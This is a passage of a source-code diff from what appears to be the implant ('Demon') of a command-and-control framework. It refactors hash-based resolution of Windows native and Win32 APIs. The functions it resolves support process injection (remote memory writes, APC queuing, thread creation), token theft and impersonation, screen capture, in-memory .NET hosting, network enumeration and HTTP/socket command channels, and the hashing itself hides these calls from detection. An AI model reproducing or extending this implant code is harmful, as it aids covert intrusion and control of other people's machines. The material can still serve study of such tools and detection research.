Instance.Syscall.NtQuerySystemInformation = LdrFunctionAddr( Instance.Modules.Ntdll, 0xee4f73a8 );
|
|
|
|
|
Instance.Syscall.NtAllocateVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, 0x6793c34c );
|
|
|
|
|
Instance.Syscall.NtQueueApcThread = LdrFunctionAddr( Instance.Modules.Ntdll, 0xd4612238 );
|
|
|
|
|
Instance.Syscall.NtOpenThread = LdrFunctionAddr( Instance.Modules.Ntdll, 0xfb8a31d1 );
|
|
|
|
|
Instance.Syscall.NtResumeThread = LdrFunctionAddr( Instance.Modules.Ntdll, 0x2c7b3d30 );
|
|
|
|
|
Instance.Syscall.NtSuspendThread = LdrFunctionAddr( Instance.Modules.Ntdll, 0x50febd61 );
|
|
|
|
|
Instance.Syscall.NtCreateEvent = LdrFunctionAddr( Instance.Modules.Ntdll, 0xca58747d );
|
|
|
|
|
Instance.Syscall.NtDuplicateObject = LdrFunctionAddr( Instance.Modules.Ntdll, 0x2388ee19 );
|
|
|
|
|
Instance.Syscall.NtGetContextThread = LdrFunctionAddr( Instance.Modules.Ntdll, 0x9e0e1a44 );
|
|
|
|
|
Instance.Syscall.NtSetContextThread = LdrFunctionAddr( Instance.Modules.Ntdll, 0x308be0d0 );
|
|
|
|
|
Instance.Syscall.NtWaitForSingleObject = LdrFunctionAddr( Instance.Modules.Ntdll, 0x4c6dc63c );
|
|
|
|
|
Instance.Syscall.NtAlertResumeThread = LdrFunctionAddr( Instance.Modules.Ntdll, 0x482e8408 );
|
|
|
|
|
Instance.Syscall.NtSignalAndWaitForSingleObject = LdrFunctionAddr( Instance.Modules.Ntdll, 0x7bdd15cd );
|
|
|
|
|
Instance.Syscall.NtTestAlert = LdrFunctionAddr( Instance.Modules.Ntdll, 0x7915b7df );
|
|
|
|
|
Instance.Syscall.NtCreateThreadEx = LdrFunctionAddr( Instance.Modules.Ntdll, 0xcb0c2130 );
|
|
|
|
|
Instance.Syscall.NtOpenProcessToken = LdrFunctionAddr( Instance.Modules.Ntdll, 0x7bd07459 );
|
|
|
|
|
Instance.Syscall.NtDuplicateToken = LdrFunctionAddr( Instance.Modules.Ntdll, 0x3000ecc3 );
|
|
|
|
|
Instance.Syscall.NtProtectVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, 0x82962c8 );
|
|
|
|
|
Instance.Syscall.NtTerminateThread = LdrFunctionAddr( Instance.Modules.Ntdll, 0xac3c9dc8 );
|
|
|
|
|
Instance.Syscall.NtWriteVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, 0x95f3a792 );
|
|
|
|
|
Instance.Syscall.NtContinue = LdrFunctionAddr( Instance.Modules.Ntdll, 0x780a612c );
|
|
|
|
|
Instance.Syscall.NtReadVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, 0xc24062e3 );
|
|
|
|
|
Instance.Syscall.NtFreeVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, 0x471aa7e9 );
|
|
|
|
|
Instance.Syscall.NtQueryVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, 0xe39d8e5d );
|
|
|
|
|
Instance.Syscall.NtQueryInformationToken = LdrFunctionAddr( Instance.Modules.Ntdll, 0x2ce5a244 );
|
|
|
|
|
Instance.Syscall.NtQueryInformationThread = LdrFunctionAddr( Instance.Modules.Ntdll, 0xc91f149b );
|
|
|
|
|
Instance.Syscall.NtOpenProcess = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtOpenProcess );
|
|
|
|
|
Instance.Syscall.NtQueryInformationProcess = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtQueryInformationProcess );
|
|
|
|
|
Instance.Syscall.NtQuerySystemInformation = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtQuerySystemInformation );
|
|
|
|
|
Instance.Syscall.NtAllocateVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtAllocateVirtualMemory );
|
|
|
|
|
Instance.Syscall.NtQueueApcThread = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtQueueApcThread );
|
|
|
|
|
Instance.Syscall.NtOpenThread = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtOpenThread );
|
|
|
|
|
Instance.Syscall.NtResumeThread = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtResumeThread );
|
|
|
|
|
Instance.Syscall.NtSuspendThread = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtSuspendThread );
|
|
|
|
|
Instance.Syscall.NtCreateEvent = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtCreateEvent );
|
|
|
|
|
Instance.Syscall.NtDuplicateObject = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtDuplicateObject );
|
|
|
|
|
Instance.Syscall.NtGetContextThread = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtGetContextThread );
|
|
|
|
|
Instance.Syscall.NtSetContextThread = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtSetContextThread );
|
|
|
|
|
Instance.Syscall.NtWaitForSingleObject = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtWaitForSingleObject );
|
|
|
|
|
Instance.Syscall.NtAlertResumeThread = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtAlertResumeThread );
|
|
|
|
|
Instance.Syscall.NtSignalAndWaitForSingleObject = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtSignalAndWaitForSingleObject );
|
|
|
|
|
Instance.Syscall.NtTestAlert = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtTestAlert );
|
|
|
|
|
Instance.Syscall.NtCreateThreadEx = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtCreateThreadEx );
|
|
|
|
|
Instance.Syscall.NtOpenProcessToken = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtOpenProcessToken );
|
|
|
|
|
Instance.Syscall.NtDuplicateToken = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtDuplicateToken );
|
|
|
|
|
Instance.Syscall.NtProtectVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtProtectVirtualMemory );
|
|
|
|
|
Instance.Syscall.NtTerminateThread = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtTerminateThread );
|
|
|
|
|
Instance.Syscall.NtWriteVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtWriteVirtualMemory );
|
|
|
|
|
Instance.Syscall.NtContinue = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtContinue );
|
|
|
|
|
Instance.Syscall.NtReadVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtReadVirtualMemory );
|
|
|
|
|
Instance.Syscall.NtFreeVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtFreeVirtualMemory );
|
|
|
|
|
Instance.Syscall.NtQueryVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtQueryVirtualMemory );
|
|
|
|
|
Instance.Syscall.NtQueryInformationToken = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtQueryInformationToken );
|
|
|
|
|
Instance.Syscall.NtQueryInformationThread = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtQueryInformationThread );
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
ModuleName[ 0 ] = 'A';
|
|
|
|
@@ -631,86 +631,86 @@ VOID DemonInit( VOID )
|
|
|
|
|
if ( Instance.Modules.Advapi32 )
|
|
|
|
|
{
|
|
|
|
|
Instance.Win32.GetTokenInformation = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_GetTokenInformation );
|
|
|
|
|
Instance.Win32.CreateProcessWithTokenW = LdrFunctionAddr( Instance.Modules.Advapi32, 0x94e76e4c );
|
|
|
|
|
Instance.Win32.CreateProcessWithLogonW = LdrFunctionAddr( Instance.Modules.Advapi32, 0x823c224a );
|
|
|
|
|
Instance.Win32.CreateProcessWithTokenW = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_CreateProcessWithTokenW );
|
|
|
|
|
Instance.Win32.CreateProcessWithLogonW = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_CreateProcessWithLogonW );
|
|
|
|
|
Instance.Win32.RevertToSelf = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_RevertToSelf );
|
|
|
|
|
Instance.Win32.GetUserNameA = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_GetUserNameA );
|
|
|
|
|
Instance.Win32.LogonUserA = LdrFunctionAddr( Instance.Modules.Advapi32, 0x609d56e4 );
|
|
|
|
|
Instance.Win32.LookupPrivilegeValueA = LdrFunctionAddr( Instance.Modules.Advapi32, 0xbbae6e84 );
|
|
|
|
|
Instance.Win32.LogonUserA = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_LogonUserA );
|
|
|
|
|
Instance.Win32.LookupPrivilegeValueA = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_LookupPrivilegeValueA );
|
|
|
|
|
Instance.Win32.LookupAccountSidA = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_LookupAccountSidA );
|
|
|
|
|
Instance.Win32.OpenThreadToken = LdrFunctionAddr( Instance.Modules.Advapi32, 579177116578842096 );
|
|
|
|
|
Instance.Win32.OpenProcessToken = LdrFunctionAddr( Instance.Modules.Advapi32, 0xc57bd097 );
|
|
|
|
|
Instance.Win32.ImpersonateLoggedOnUser = LdrFunctionAddr( Instance.Modules.Advapi32, 0xa6ffd55a );
|
|
|
|
|
Instance.Win32.AdjustTokenPrivileges = LdrFunctionAddr( Instance.Modules.Advapi32, 0xce4cd9cb );
|
|
|
|
|
Instance.Win32.LookupPrivilegeNameA = LdrFunctionAddr( Instance.Modules.Advapi32, 0xe6176fe8 );
|
|
|
|
|
Instance.Win32.SystemFunction032 = LdrFunctionAddr( Instance.Modules.Advapi32, 0xcccf3585 );
|
|
|
|
|
Instance.Win32.FreeSid = LdrFunctionAddr( Instance.Modules.Advapi32, 0x2174ce07 );
|
|
|
|
|
Instance.Win32.SetSecurityDescriptorSacl = LdrFunctionAddr( Instance.Modules.Advapi32, 0x4a8307ab );
|
|
|
|
|
Instance.Win32.SetSecurityDescriptorDacl = LdrFunctionAddr( Instance.Modules.Advapi32, 0x4a7acdfc );
|
|
|
|
|
Instance.Win32.InitializeSecurityDescriptor = LdrFunctionAddr( Instance.Modules.Advapi32, 0x70670cee );
|
|
|
|
|
Instance.Win32.AddMandatoryAce = LdrFunctionAddr( Instance.Modules.Advapi32, 0x248cc186 );
|
|
|
|
|
Instance.Win32.InitializeAcl = LdrFunctionAddr( Instance.Modules.Advapi32, 0x62cac4c7 );
|
|
|
|
|
Instance.Win32.AllocateAndInitializeSid = LdrFunctionAddr( Instance.Modules.Advapi32, 0x57a4ccf );
|
|
|
|
|
Instance.Win32.SetEntriesInAclW = LdrFunctionAddr( Instance.Modules.Advapi32, 0xe2d6b8e9 );
|
|
|
|
|
Instance.Win32.SetThreadToken = LdrFunctionAddr( Instance.Modules.Advapi32, 0x575b17ca );
|
|
|
|
|
Instance.Win32.OpenThreadToken = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_OpenThreadToken );
|
|
|
|
|
Instance.Win32.OpenProcessToken = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_OpenProcessToken );
|
|
|
|
|
Instance.Win32.ImpersonateLoggedOnUser = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_ImpersonateLoggedOnUser );
|
|
|
|
|
Instance.Win32.AdjustTokenPrivileges = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_AdjustTokenPrivileges );
|
|
|
|
|
Instance.Win32.LookupPrivilegeNameA = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_LookupPrivilegeNameA );
|
|
|
|
|
Instance.Win32.SystemFunction032 = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_SystemFunction032 );
|
|
|
|
|
Instance.Win32.FreeSid = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_FreeSid );
|
|
|
|
|
Instance.Win32.SetSecurityDescriptorSacl = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_SetSecurityDescriptorSacl );
|
|
|
|
|
Instance.Win32.SetSecurityDescriptorDacl = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_SetSecurityDescriptorDacl );
|
|
|
|
|
Instance.Win32.InitializeSecurityDescriptor = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_InitializeSecurityDescriptor );
|
|
|
|
|
Instance.Win32.AddMandatoryAce = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_AddMandatoryAce );
|
|
|
|
|
Instance.Win32.InitializeAcl = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_InitializeAcl );
|
|
|
|
|
Instance.Win32.AllocateAndInitializeSid = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_AllocateAndInitializeSid );
|
|
|
|
|
Instance.Win32.SetEntriesInAclW = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_SetEntriesInAclW );
|
|
|
|
|
Instance.Win32.SetThreadToken = LdrFunctionAddr( Instance.Modules.Advapi32, FuncHash_SetThreadToken );
|
|
|
|
|
|
|
|
|
|
PUTS( "Loaded Advapi32 functions" )
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if ( Instance.Modules.Oleaut32 )
|
|
|
|
|
{
|
|
|
|
|
Instance.Win32.SafeArrayAccessData = LdrFunctionAddr( Instance.Modules.Oleaut32, 2675336209888825647 );
|
|
|
|
|
Instance.Win32.SafeArrayUnaccessData = LdrFunctionAddr( Instance.Modules.Oleaut32, 18329906161741280562 );
|
|
|
|
|
Instance.Win32.SafeArrayCreate = LdrFunctionAddr( Instance.Modules.Oleaut32, 3571287155138900375 );
|
|
|
|
|
Instance.Win32.SafeArrayPutElement = LdrFunctionAddr( Instance.Modules.Oleaut32, 2676058380407465830 );
|
|
|
|
|
Instance.Win32.SafeArrayCreateVector = LdrFunctionAddr( Instance.Modules.Oleaut32, 17426458116918762890 );
|
|
|
|
|
Instance.Win32.SafeArrayDestroy = LdrFunctionAddr( Instance.Modules.Oleaut32, 7172011678126394509 );
|
|
|
|
|
Instance.Win32.SysAllocString = LdrFunctionAddr( Instance.Modules.Oleaut32, 3847978704220612774 );
|
|
|
|
|
Instance.Win32.SafeArrayAccessData = LdrFunctionAddr( Instance.Modules.Oleaut32, FuncHash_SafeArrayAccessData );
|
|
|
|
|
Instance.Win32.SafeArrayUnaccessData = LdrFunctionAddr( Instance.Modules.Oleaut32, FuncHash_SafeArrayUnaccessData );
|
|
|
|
|
Instance.Win32.SafeArrayCreate = LdrFunctionAddr( Instance.Modules.Oleaut32, FuncHash_SafeArrayCreate );
|
|
|
|
|
Instance.Win32.SafeArrayPutElement = LdrFunctionAddr( Instance.Modules.Oleaut32, FuncHash_SafeArrayPutElement );
|
|
|
|
|
Instance.Win32.SafeArrayCreateVector = LdrFunctionAddr( Instance.Modules.Oleaut32, FuncHash_SafeArrayCreateVector );
|
|
|
|
|
Instance.Win32.SafeArrayDestroy = LdrFunctionAddr( Instance.Modules.Oleaut32, FuncHash_SafeArrayDestroy );
|
|
|
|
|
Instance.Win32.SysAllocString = LdrFunctionAddr( Instance.Modules.Oleaut32, FuncHash_SysAllocString );
|
|
|
|
|
|
|
|
|
|
PUTS( "Loaded Oleaut32 functions" )
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if ( Instance.Modules.Shell32 )
|
|
|
|
|
{
|
|
|
|
|
Instance.Win32.CommandLineToArgvW = LdrFunctionAddr( Instance.Modules.Shell32, 0x8d607276 );
|
|
|
|
|
Instance.Win32.CommandLineToArgvW = LdrFunctionAddr( Instance.Modules.Shell32, FuncHash_CommandLineToArgvW );
|
|
|
|
|
|
|
|
|
|
PUTS( "Loaded Shell32 functions" )
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if ( Instance.Modules.Msvcrt )
|
|
|
|
|
{
|
|
|
|
|
Instance.Win32.vsnprintf = LdrFunctionAddr( Instance.Modules.Msvcrt, 0xe61d840f );
|
|
|
|
|
Instance.Win32.vsnprintf = LdrFunctionAddr( Instance.Modules.Msvcrt, FuncHash_vsnprintf );
|
|
|
|
|
|
|
|
|
|
PUTS( "Loaded Msvcrt functions" )
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if ( Instance.Modules.User32 )
|
|
|
|
|
{
|
|
|
|
|
Instance.Win32.ShowWindow = LdrFunctionAddr( Instance.Modules.User32, 8245429827274884638 );
|
|
|
|
|
Instance.Win32.GetSystemMetrics = LdrFunctionAddr( Instance.Modules.User32, 0xa988c1a1 );
|
|
|
|
|
Instance.Win32.GetDC = LdrFunctionAddr( Instance.Modules.User32, 0xd3d24ac );
|
|
|
|
|
Instance.Win32.ReleaseDC = LdrFunctionAddr( Instance.Modules.User32, 0xe43871cd );
|
|
|
|
|
Instance.Win32.ShowWindow = LdrFunctionAddr( Instance.Modules.User32, FuncHash_ShowWindow );
|
|
|
|
|
Instance.Win32.GetSystemMetrics = LdrFunctionAddr( Instance.Modules.User32, FuncHash_GetSystemMetrics );
|
|
|
|
|
Instance.Win32.GetDC = LdrFunctionAddr( Instance.Modules.User32, FuncHash_GetDC );
|
|
|
|
|
Instance.Win32.ReleaseDC = LdrFunctionAddr( Instance.Modules.User32, FuncHash_ReleaseDC );
|
|
|
|
|
|
|
|
|
|
PUTS( "Loaded User32 functions" )
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if ( Instance.Modules.Gdi32 )
|
|
|
|
|
{
|
|
|
|
|
Instance.Win32.GetCurrentObject = LdrFunctionAddr( Instance.Modules.Gdi32, 0xd41e47df );
|
|
|
|
|
Instance.Win32.GetObjectW = LdrFunctionAddr( Instance.Modules.Gdi32, 0x512b413 );
|
|
|
|
|
Instance.Win32.CreateCompatibleDC = LdrFunctionAddr( Instance.Modules.Gdi32, 0xa05cbae0 );
|
|
|
|
|
Instance.Win32.CreateDIBSection = LdrFunctionAddr( Instance.Modules.Gdi32, 0xfff5b73d );
|
|
|
|
|
Instance.Win32.SelectObject = LdrFunctionAddr( Instance.Modules.Gdi32, 0x7cf4fd7c );
|
|
|
|
|
Instance.Win32.BitBlt = LdrFunctionAddr( Instance.Modules.Gdi32, 0xa9804e46 );
|
|
|
|
|
Instance.Win32.DeleteObject = LdrFunctionAddr( Instance.Modules.Gdi32, 0xcc68186f );
|
|
|
|
|
Instance.Win32.DeleteDC = LdrFunctionAddr( Instance.Modules.Gdi32, 0x9f3bef5f );
|
|
|
|
|
Instance.Win32.GetCurrentObject = LdrFunctionAddr( Instance.Modules.Gdi32, FuncHash_GetCurrentObject );
|
|
|
|
|
Instance.Win32.GetObjectW = LdrFunctionAddr( Instance.Modules.Gdi32, FuncHash_GetObjectW );
|
|
|
|
|
Instance.Win32.CreateCompatibleDC = LdrFunctionAddr( Instance.Modules.Gdi32, FuncHash_CreateCompatibleDC );
|
|
|
|
|
Instance.Win32.CreateDIBSection = LdrFunctionAddr( Instance.Modules.Gdi32, FuncHash_CreateDIBSection );
|
|
|
|
|
Instance.Win32.SelectObject = LdrFunctionAddr( Instance.Modules.Gdi32, FuncHash_SelectObject );
|
|
|
|
|
Instance.Win32.BitBlt = LdrFunctionAddr( Instance.Modules.Gdi32, FuncHash_BitBlt );
|
|
|
|
|
Instance.Win32.DeleteObject = LdrFunctionAddr( Instance.Modules.Gdi32, FuncHash_DeleteObject );
|
|
|
|
|
Instance.Win32.DeleteDC = LdrFunctionAddr( Instance.Modules.Gdi32, FuncHash_DeleteDC );
|
|
|
|
|
|
|
|
|
|
PUTS( "Loaded Gdi32 functions" )
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if ( Instance.Modules.KernelBase )
|
|
|
|
|
{
|
|
|
|
|
Instance.Win32.SetProcessValidCallTargets = LdrFunctionAddr( Instance.Modules.KernelBase, 0xbb6970d6 );
|
|
|
|
|
Instance.Win32.SetProcessValidCallTargets = LdrFunctionAddr( Instance.Modules.KernelBase, FuncHash_SetProcessValidCallTargets );
|
|
|
|
|
|
|
|
|
|
PUTS( "Loaded KernelBase functions" )
|
|
|
|
|
}
|
|
|
|
@@ -719,18 +719,18 @@ VOID DemonInit( VOID )
|
|
|
|
|
#ifdef TRANSPORT_HTTP
|
|
|
|
|
if ( Instance.Modules.WinHttp )
|
|
|
|
|
{
|
|
|
|
|
Instance.Win32.WinHttpOpen = LdrFunctionAddr( Instance.Modules.WinHttp, 0x5e4f39e5 );
|
|
|
|
|
Instance.Win32.WinHttpConnect = LdrFunctionAddr( Instance.Modules.WinHttp, 0x7242c17d );
|
|
|
|
|
Instance.Win32.WinHttpOpenRequest = LdrFunctionAddr( Instance.Modules.WinHttp, 0xeab7b9ce );
|
|
|
|
|
Instance.Win32.WinHttpSetOption = LdrFunctionAddr( Instance.Modules.WinHttp, 0xa18b94f8 );
|
|
|
|
|
Instance.Win32.WinHttpCloseHandle = LdrFunctionAddr( Instance.Modules.WinHttp, 0x36220cd5 );
|
|
|
|
|
Instance.Win32.WinHttpSendRequest = LdrFunctionAddr( Instance.Modules.WinHttp, 0xb183faa6 );
|
|
|
|
|
Instance.Win32.WinHttpAddRequestHeaders = LdrFunctionAddr( Instance.Modules.WinHttp, 0xed7fcb41 );
|
|
|
|
|
Instance.Win32.WinHttpReceiveResponse = LdrFunctionAddr( Instance.Modules.WinHttp, 0x146c4925 );
|
|
|
|
|
Instance.Win32.WinHttpWebSocketCompleteUpgrade = LdrFunctionAddr( Instance.Modules.WinHttp, 0x58929db );
|
|
|
|
|
Instance.Win32.WinHttpQueryDataAvailable = LdrFunctionAddr( Instance.Modules.WinHttp, 0x34cb8684 );
|
|
|
|
|
Instance.Win32.WinHttpReadData = LdrFunctionAddr( Instance.Modules.WinHttp, 0x7195e4e9 );
|
|
|
|
|
Instance.Win32.WinHttpQueryHeaders = LdrFunctionAddr( Instance.Modules.WinHttp, 0x389cefa5 );
|
|
|
|
|
Instance.Win32.WinHttpOpen = LdrFunctionAddr( Instance.Modules.WinHttp, FuncHash_WinHttpOpen );
|
|
|
|
|
Instance.Win32.WinHttpConnect = LdrFunctionAddr( Instance.Modules.WinHttp, FuncHash_WinHttpConnect );
|
|
|
|
|
Instance.Win32.WinHttpOpenRequest = LdrFunctionAddr( Instance.Modules.WinHttp, FuncHash_WinHttpOpenRequest );
|
|
|
|
|
Instance.Win32.WinHttpSetOption = LdrFunctionAddr( Instance.Modules.WinHttp, FuncHash_WinHttpSetOption );
|
|
|
|
|
Instance.Win32.WinHttpCloseHandle = LdrFunctionAddr( Instance.Modules.WinHttp, FuncHash_WinHttpCloseHandle );
|
|
|
|
|
Instance.Win32.WinHttpSendRequest = LdrFunctionAddr( Instance.Modules.WinHttp, FuncHash_WinHttpSendRequest );
|
|
|
|
|
Instance.Win32.WinHttpAddRequestHeaders = LdrFunctionAddr( Instance.Modules.WinHttp, FuncHash_WinHttpAddRequestHeaders );
|
|
|
|
|
Instance.Win32.WinHttpReceiveResponse = LdrFunctionAddr( Instance.Modules.WinHttp, FuncHash_WinHttpReceiveResponse );
|
|
|
|
|
Instance.Win32.WinHttpWebSocketCompleteUpgrade = LdrFunctionAddr( Instance.Modules.WinHttp, FuncHash_WinHttpWebSocketCompleteUpgrade );
|
|
|
|
|
Instance.Win32.WinHttpQueryDataAvailable = LdrFunctionAddr( Instance.Modules.WinHttp, FuncHash_WinHttpQueryDataAvailable );
|
|
|
|
|
Instance.Win32.WinHttpReadData = LdrFunctionAddr( Instance.Modules.WinHttp, FuncHash_WinHttpReadData );
|
|
|
|
|
Instance.Win32.WinHttpQueryHeaders = LdrFunctionAddr( Instance.Modules.WinHttp, FuncHash_WinHttpQueryHeaders );
|
|
|
|
|
|
|
|
|
|
PUTS( "Loaded WinHttp functions" )
|
|
|
|
|
}
|
|
|
|
@@ -738,40 +738,40 @@ VOID DemonInit( VOID )
|
|
|
|
|
|
|
|
|
|
if ( Instance.Modules.Mscoree )
|
|
|
|
|
{
|
|
|
|
|
Instance.Win32.CLRCreateInstance = LdrFunctionAddr( Instance.Modules.Mscoree, 10918823944048432655 );
|
|
|
|
|
Instance.Win32.CLRCreateInstance = LdrFunctionAddr( Instance.Modules.Mscoree, FuncHash_CLRCreateInstance );
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if ( Instance.Modules.Iphlpapi )
|
|
|
|
|
{
|
|
|
|
|
Instance.Win32.GetAdaptersInfo = LdrFunctionAddr( Instance.Modules.Iphlpapi, 0xbc950fc5 );
|
|
|
|
|
Instance.Win32.GetAdaptersInfo = LdrFunctionAddr( Instance.Modules.Iphlpapi, FuncHash_GetAdaptersInfo );
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if ( Instance.Modules.NetApi32 )
|
|
|
|
|
{
|
|
|
|
|
Instance.Win32.NetLocalGroupEnum = LdrFunctionAddr( Instance.Modules.NetApi32, 0x2c3fa6b9 );
|
|
|
|
|
Instance.Win32.NetGroupEnum = LdrFunctionAddr( Instance.Modules.NetApi32, 0xb278fc6e );
|
|
|
|
|
Instance.Win32.NetUserEnum = LdrFunctionAddr( Instance.Modules.NetApi32, 0xe84c1c20 );
|
|
|
|
|
Instance.Win32.NetWkstaUserEnum = LdrFunctionAddr( Instance.Modules.NetApi32, 0x3f45a8a );
|
|
|
|
|
Instance.Win32.NetSessionEnum = LdrFunctionAddr( Instance.Modules.NetApi32, 0x80edcd45 );
|
|
|
|
|
Instance.Win32.NetShareEnum = LdrFunctionAddr( Instance.Modules.NetApi32, 0xb0461db4 );
|
|
|
|
|
Instance.Win32.NetApiBufferFree = LdrFunctionAddr( Instance.Modules.NetApi32, 0x83e6be2 );
|
|
|
|
|
Instance.Win32.NetLocalGroupEnum = LdrFunctionAddr( Instance.Modules.NetApi32, FuncHash_NetLocalGroupEnum );
|
|
|
|
|
Instance.Win32.NetGroupEnum = LdrFunctionAddr( Instance.Modules.NetApi32, FuncHash_NetGroupEnum );
|
|
|
|
|
Instance.Win32.NetUserEnum = LdrFunctionAddr( Instance.Modules.NetApi32, FuncHash_NetUserEnum );
|
|
|
|
|
Instance.Win32.NetWkstaUserEnum = LdrFunctionAddr( Instance.Modules.NetApi32, FuncHash_NetWkstaUserEnum );
|
|
|
|
|
Instance.Win32.NetSessionEnum = LdrFunctionAddr( Instance.Modules.NetApi32, FuncHash_NetSessionEnum );
|
|
|
|
|
Instance.Win32.NetShareEnum = LdrFunctionAddr( Instance.Modules.NetApi32, FuncHash_NetShareEnum );
|
|
|
|
|
Instance.Win32.NetApiBufferFree = LdrFunctionAddr( Instance.Modules.NetApi32, FuncHash_NetApiBufferFree );
|
|
|
|
|
|
|
|
|
|
PUTS( "Loaded NetApi32 functions" )
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if ( Instance.Modules.Ws2_32 )
|
|
|
|
|
{
|
|
|
|
|
Instance.Win32.WSAStartup = LdrFunctionAddr( Instance.Modules.Ws2_32, 0x6128c683 );
|
|
|
|
|
Instance.Win32.WSACleanup = LdrFunctionAddr( Instance.Modules.Ws2_32, 0x7f1aab78 );
|
|
|
|
|
Instance.Win32.WSASocketA = LdrFunctionAddr( Instance.Modules.Ws2_32, 0x559f159a );
|
|
|
|
|
Instance.Win32.ioctlsocket = LdrFunctionAddr( Instance.Modules.Ws2_32, 0x6dcd609 );
|
|
|
|
|
Instance.Win32.bind = LdrFunctionAddr( Instance.Modules.Ws2_32, 0x7c9499e2 );
|
|
|
|
|
Instance.Win32.listen = LdrFunctionAddr( Instance.Modules.Ws2_32, 0xb794014 );
|
|
|
|
|
Instance.Win32.accept = LdrFunctionAddr( Instance.Modules.Ws2_32, 0xf15ae9b5 );
|
|
|
|
|
Instance.Win32.closesocket = LdrFunctionAddr( Instance.Modules.Ws2_32, 0x494cb104 );
|
|
|
|
|
Instance.Win32.recv = LdrFunctionAddr( Instance.Modules.Ws2_32, 0x7c9d4d95 );
|
|
|
|
|
Instance.Win32.send = LdrFunctionAddr( Instance.Modules.Ws2_32, 0x7c9ddb4f );
|
|
|
|
|
Instance.Win32.connect = LdrFunctionAddr( Instance.Modules.Ws2_32, 0xd3764dcf );
|
|
|
|
|
Instance.Win32.WSAStartup = LdrFunctionAddr( Instance.Modules.Ws2_32, FuncHash_WSAStartup );
|
|
|
|
|
Instance.Win32.WSACleanup = LdrFunctionAddr( Instance.Modules.Ws2_32, FuncHash_WSACleanup );
|
|
|
|
|
Instance.Win32.WSASocketA = LdrFunctionAddr( Instance.Modules.Ws2_32, FuncHash_WSASocketA );
|
|
|
|
|
Instance.Win32.ioctlsocket = LdrFunctionAddr( Instance.Modules.Ws2_32, FuncHash_ioctlsocket );
|
|
|
|
|
Instance.Win32.bind = LdrFunctionAddr( Instance.Modules.Ws2_32, FuncHash_bind );
|
|
|
|
|
Instance.Win32.listen = LdrFunctionAddr( Instance.Modules.Ws2_32, FuncHash_listen );
|
|
|
|
|
Instance.Win32.accept = LdrFunctionAddr( Instance.Modules.Ws2_32, FuncHash_accept );
|
|
|
|
|
Instance.Win32.closesocket = LdrFunctionAddr( Instance.Modules.Ws2_32, FuncHash_closesocket );
|
|
|
|
|
Instance.Win32.recv = LdrFunctionAddr( Instance.Modules.Ws2_32, FuncHash_recv );
|
|
|
|
|
Instance.Win32.send = LdrFunctionAddr( Instance.Modules.Ws2_32, FuncHash_send );
|
|
|
|
|
Instance.Win32.connect = LdrFunctionAddr( Instance.Modules.Ws2_32, FuncHash_connect );
|
|
